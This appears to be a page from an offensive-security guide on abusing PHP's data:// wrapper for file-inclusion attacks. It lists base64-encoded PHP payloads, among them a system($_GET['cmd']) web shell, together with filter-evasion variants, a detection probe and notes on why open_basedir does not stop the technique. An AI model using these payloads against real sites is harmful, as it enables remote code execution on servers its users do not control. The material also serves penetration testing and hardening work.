The data:// Wrapper
Carry the payload inside the URL itself. No outbound connection, no host to serve from — and gated by exactly the same flag as http://, despite never touching the network.
The payload is the URL
data:// embeds content directly in the URL. There is no fetch, no listener, no DNS lookup — the bytes are in the request you already sent.
That makes it strictly better than classic RFI in every environment where outbound traffic is filtered, which in 2026 is most of them. A container with no egress cannot fetch http://attacker.example/shell.txt. It does not need to fetch anything to process a data: URI.
The catch is that PHP gates data:// behind allow_url_include anyway. It never touches the network and the flag still applies, which surprises people every time. The flag is named for a category it does not accurately describe.
The payloads
# Plain. Readable, but the <?php ... ?> will not survive a query string intact
# once ? & # and spaces get involved.
data://text/plain,<?php phpinfo();?>
# base64 — always use this form. Survives the query string, and slips past
# a filter matching on the literal string "<?php".
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
# The scheme is optional in some contexts; PHP accepts the bare form too.
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
# The media type is not validated against the content. image/png is fine
# and occasionally gets past a check on the declared type.
data://image/png;base64,PD9waHAgcGhwaW5mbygpOz8+
# Payload: <?php system($_GET["cmd"]);?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=What actually gates it
open_basedir does not apply
Worth its own section because it is the one property that makes data:// interesting on a hardened host.
open_basedir confines path resolution. data:// resolves no path — the content is in the URL. So a host that has been carefully locked down to /var/www/html with open_basedir gains nothing against this wrapper.
The same is true of a self-synthesising filter chain, for the same reason. Both are worth remembering when you meet a target where every traversal returns an open_basedir restriction in effect warning: those warnings tell you the filesystem is confined, not that the include is safe.
What does stop data:// is allow_url_include=Off — which is the default, and which is why this is a guide about a technique you will mostly find turned off.
The read side is live by default
As with http://, the reading half needs only allow_url_fopen, which is On:
// Works on a stock PHP 8.
$content = file_get_contents($_GET['src']); // ?src=data://text/plain,hello
On its own this is not much — you are feeding the application data you already had. It becomes interesting when the result goes somewhere: parsed as configuration, written to disk, passed to an image library, or handed to unserialize(). data:// is then a way to control the input to a second sink without needing to host anything.
This is the pattern worth watching for in file-upload and import features that accept a URL: data:// turns "fetch this URL" into "here are the exact bytes", which sidesteps every check that was performed on the URL rather than on the content.
Detecting support
# A harmless probe. If the response contains the marker, data:// is reachable
# through this sink and allow_url_include is On.
GET /index.php?page=data://text/plain;base64,cmZpLXBhZ2UtbWFya2Vy HTTP/1.1
Host: target.example
# base64 decodes to: rfi-page-marker
#
# Errors and what they mean:
# "URL file-access is disabled" -> allow_url_include=Off (the default)
# "no suitable wrapper could be found" -> allow_url_fopen=Off too
# marker echoed but not executed -> reading sink, not an include
# nothing at all -> blind sink, or output not reflectedRelated
The textbook payload: point the include at a file on your own host. It requires a configuration PHP stopped shipping in 2006, and it is still the first thing everyone tries.
PHP's stream layer makes every filesystem function accept a URL. That one design decision is why file inclusion in PHP is a different bug from file inclusion anywhere else.
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
Two wrappers that turn an include straight into execution with no file involved at all. One needs an extension nobody installs; the other needs the flag that has been off since 2006.
Two hardening settings that are worth having and are not fixes. Knowing exactly what each one confines tells you what is still reachable when you meet them.